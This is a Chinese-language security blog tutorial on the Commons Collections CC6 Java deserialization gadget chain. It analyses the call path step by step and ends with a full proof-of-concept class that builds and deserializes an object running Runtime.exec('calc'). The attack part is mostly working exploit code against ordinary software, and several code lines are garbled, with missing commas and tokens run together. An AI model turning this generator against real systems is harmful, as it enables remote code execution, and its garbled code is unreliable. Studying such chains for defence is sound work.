Java安全-CC6链

admin 2025年3月10日22:34:15评论6 views字数 4453阅读14分50秒阅读模式

关注公众号夜风Sec内回复java,获取java审计代码视频资料

CC6

不限制JDK版本、也不限制CommonsCollections的版本

分析

后半部分的链和前面是一样的

/*
 HashMap.readObject() -> hash(key) ->  key.hashCode()
        TiedMapEntry.hashCode() -> getValue() -> map.get(key)
            LazyMap.get() -> factory.transform()
                ChainedTransformer.transform()
                    ConstantTransformer(Runtime.class)->直接返回Runtime.class
                    getMethod("getRuntime", null) -> 获取Runtime.getRuntime()
                    invoke(null, null) -> 实际执行 Runtime.getRuntime() -> 获取Runtime实例
                    调用exec("calc") -> Runtime.getRuntime.exec("calc")
                        InvokerTransformer.transform()
*/

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
newInvokerTransformer("getMethod", newClass[]
{String.classClass[].class}, newObject[]{"getRuntime"null}),
new InvokerTransformer("invoke"new Class[]{Object.classObject[].class}, newObject[]{nullnull}),
new InvokerTransformer("exec"new Class[]{String.class}, newObject[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));

后续需要寻找哪里还调用了transform方法,在之前的CC1链时,就看到过其他的类

这里我们用LazyMap类的get方法

Java安全-CC6链
cc6-00

先看LazyMap类的内容

静态方法decorate -> 调用构造函数 -> 参数factory可控

接下来寻找哪里调用了get方法 -> 这个就很多了 -> 可以直接参考大佬找出来的链子

Java安全-CC6链
cc6-01

TiedMapEntry类,hashCode -> getValue -> map.get(key)

public的构造函数 -> mapkey均可控

Java安全-CC6链
cc6-02

接下来就是hashCode的寻找 -> HashMap类 -> 在URLDNS链中就用到了

HashCode.readObject -> hash(Key) -> key.hashCode()

Java安全-CC6链
cc6-03
        Map<Object, Object> map = new HashMap<>();
        Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");

        HashMap<Object, Object> map2 = new HashMap<>();
        map2.put(tiedMapEntry, "bbb"); // 这里的put就提前走了一遍这个链子了

        serialize(map2);
//        unserialize("cc6.bin");

此时运行,发现在序列化的时候就已经弹计算器了

debug分析 -> map2.put() 的时候就会提前触发这条链了

Java安全-CC6链
cc6-04

中断链,new ConstantTransformer(1)  -> 将chainedTransformer修改为一个无关紧要的值 从而中断map2.put

//Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);
Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));

再通过反射来将这个值改为chainedTransformer

Class c = lazyMap.getClass();
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, chainedTransformer);

此时运行序列化不会再弹计算器了,但是反序列化时发现也不会弹计算器,看哪里出了问题

unserialize("cc6.bin")下断点,逐个走,发现这个没有进入if语句

根据语义,map参数不能包含key才能进入if,而这个key来自我们自己传入的值

当我们去掉其他所有断点,只给这个if下一个断点时发现,可以进if

注意这个if里面有put的操作,所以我要remove掉我们传入的key

Java安全-CC6链
cc6-05
lazyMap.remove("aaa");

最后

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

publicclassCC6Test{
publicstaticvoidmain(String[] args)throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
newInvokerTransformer("getMethod", newClass[]
{String.classClass[].class}, newObject[]{"getRuntime"null}),
new InvokerTransformer("invoke"new Class[]{Object.classObject[].class}, newObject[]{nullnull}),
new InvokerTransformer("exec"new Class[]{String.class}, newObject[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object, Object> map = new HashMap<>();
        Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));


        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
        HashMap<Object, Object> map2 = new HashMap<>();
        map2.put(tiedMapEntry, "bbb");
        lazyMap.remove("aaa");

        Class c = LazyMap.class;
        Field factoryField = c.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazyMap, chainedTransformer);
        serialize(map2);
        unserialize("cc6.bin");

    }
publicstaticvoidserialize(Object obj)throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc6.bin"));
        oos.writeObject(obj);
    }
publicstaticvoidunserialize(String fileName)throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(fileName));
        ois.readObject();
    }
}

原文始发于微信公众号(夜风Sec):Java安全-CC6链

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月10日22:34:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Java安全-CC6链https://cn-sec.com/archives/3824322.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息